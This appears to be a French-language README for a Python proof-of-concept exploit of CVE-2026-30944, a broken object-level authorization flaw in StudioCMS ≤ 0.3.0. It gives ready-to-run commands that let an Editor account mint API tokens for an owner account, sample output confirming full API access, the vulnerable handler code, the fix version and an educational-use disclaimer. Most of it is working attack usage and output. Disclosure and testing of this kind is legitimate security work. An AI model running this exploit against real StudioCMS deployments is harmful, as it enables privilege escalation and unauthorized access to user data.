
# Preuve de concept en Python pour CVE-2026-30944, exploitant une vulnérabilité BOLA dans StudioCMS pour élever les privilèges via une génération non sécurisée de jetons API.
Élévation de privilèges StudioCMS via une génération de jeton API non sécurisée
NVD • Avis de sécurité • CWE-639
Le point de terminaison POST /studiocms_api/dashboard/api-tokens dans StudioCMS ≤ 0.3.0 permet à tout utilisateur authentifié (au minimum avec le rôle Editor) de générer des jetons API pour n'importe quel autre utilisateur, y compris les comptes owner et admin.
Le point de terminaison accepte un paramètre user dans le corps de la requête spécifiant l'UUID de l'utilisateur cible mais ne valide jamais si l'utilisateur demandeur est autorisé à créer des jetons au nom de cette cible. Il s'agit d'une vulnérabilité classique de Broken Object Level Authorization (BOLA) qui entraîne une élévation complète des privilèges.
┌──────────────┐ POST /api-tokens ┌──────────────┐
│ │ {"user":"<owner-id>"} │ │
│ Attaquant │ ─────────────────────────► │ StudioCMS │
│ (Editor) │ │ Serveur │
│ │ ◄───────────────────────── │ │
└──────────────┘ {"token":"eyJhb..."} └──────────────┘
│ │
│ GET /rest/v1/users │
│ Authorization: Bearer <owner-token> │
│ ─────────────────────────────────────────►│
│ │
│ ◄─────────────────────────────────────────│
│ [Données utilisateur complètes en tant qu'Owner] │
│ │
| Fichier | Description |
|---|---|
cve_2026_30944_poc.py | Script d'exploitation Python avec modes manuel et automatisé |
README.md | Ce fichier |
LICENSE | Licence MIT |
Editorpip install requests colorama
# Générer un jeton API pour l'owner en utilisant un compte éditeur
python3 cve_2026_30944_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--uuid 2450bf33-0135-4142-80be-9854f9a5e9f1
# Enregistrer les résultats au format JSON
python3 cve_2026_30944_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--save
# Tester avec plusieurs rôles pour confirmer la vulnérabilité
python3 cve_2026_30944_poc.py \
-u http://localhost:4321 \
--auto-test \
--editor-user editor01 \
--editor-pass editorpass \
--visitor-user visitor01 \
--visitor-pass visitorpass \
--uuid 2450bf33-0135-4142-80be-9854f9a5e9f1
| Argument | Description |
|---|---|
-u, --url | URL de base StudioCMS cible |
--uuid | UUID de l'utilisateur cible (par exemple, compte owner) |
| Argument | Description |
|---|---|
--username | Nom d'utilisateur pour l'authentification |
--password | Mot de passe pour l'authentification |
| Argument | Description |
|---|---|
--save | Enregistrer les résultats dans un fichier JSON |
--no-ssl-verify | Désactiver la vérification du certificat SSL |
──────────────────────────────────────────────────────────
PHASE 1 : Authentification
──────────────────────────────────────────────────────────
[+] Authentifié en tant que 'editor01'
[*] Utilisateur de session : editor01 (editor)
[*] UUID de session : 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c
──────────────────────────────────────────────────────────
PHASE 2 : Élévation de privilèges
──────────────────────────────────────────────────────────
[*] UUID cible : 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] Génération du jeton API pour l'utilisateur cible...
[+] Jeton API généré avec succès !
[!] Jeton : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2...
──────────────────────────────────────────────────────────
PHASE 3 : Vérification
──────────────────────────────────────────────────────────
[*] Vérification de l'accès du jeton sur l'API REST...
[+] VULNÉRABILITÉ CONFIRMÉE — Accès API complet obtenu !
[*] 9 enregistrements utilisateur récupérés
──────────────────────────────────────────────────────────
PHASE 2 : Élévation de privilèges
──────────────────────────────────────────────────────────
[*] UUID cible : 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] Génération du jeton API pour l'utilisateur cible...
[*] Accès refusé (403 Forbidden) — le point de terminaison est peut-être corrigé
[-] Échec de l'exploitation — jeton non généré
Le gestionnaire vulnérable dans packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts (lignes 16–57) accepte un paramètre user du corps JSON et le transmet directement à la fonction de génération de jeton sans vérifications d'autorisation :
// [1] Vérifie uniquement si l'appelant est éditeur — pas POUR QUI il crée un jeton
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;
// [2] 'user' du corps de la requête — aucune validation par rapport à la session authentifiée
const jsonData = yield* readAPIContextJson<{ description: string; user: string }>(ctx);
// [3] Transmis directement à la génération de jeton — IDOR
const newToken = yield* sdk.REST_API.tokens.new(jsonData.user, jsonData.description);
Le modèle d'autorisation vérifie uniquement « l'appelant est-il au moins un éditeur ? » au lieu de « l'appelant est-il autorisé à créer un jeton pour cet utilisateur spécifique ? »
Mettez à jour StudioCMS vers la version 0.4.0 ou ultérieure :
npm install studiocms@latest
Cet outil est fourni à des fins éducatives et de tests de sécurité autorisés uniquement.
Filipe Gaudard
Ce PoC est publié sous la licence MIT à des fins éducatives. Utilisez-le de manière responsable et éthique.
| Champ | Valeur |
|---|
| CVE | CVE-2026-30944 |
| GHSA | GHSA-667w-mmh7-mrr4 |
| CVSS v3.1 | 8.8 (Élevé) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-639 : Contournement d'autorisation via une clé contrôlée par l'utilisateur |
| CWE (secondaire) | CWE-863 : Autorisation incorrecte |
| MITRE ATT&CK | T1134 — Manipulation de jetons d'accès |
| OWASP API | API1:2023 — Broken Object Level Authorization |
| Affecté | studiocms ≤ 0.3.0 |
| Corrigé dans | studiocms 0.4.0 |
| Argument | Description |
|---|
--auto-test | Activer les tests multi-rôles automatisés |
--editor-user | Nom d'utilisateur du compte éditeur |
--editor-pass | Mot de passe du compte éditeur |
--visitor-user | Nom d'utilisateur du compte visiteur |
--visitor-pass | Mot de passe du compte visiteur |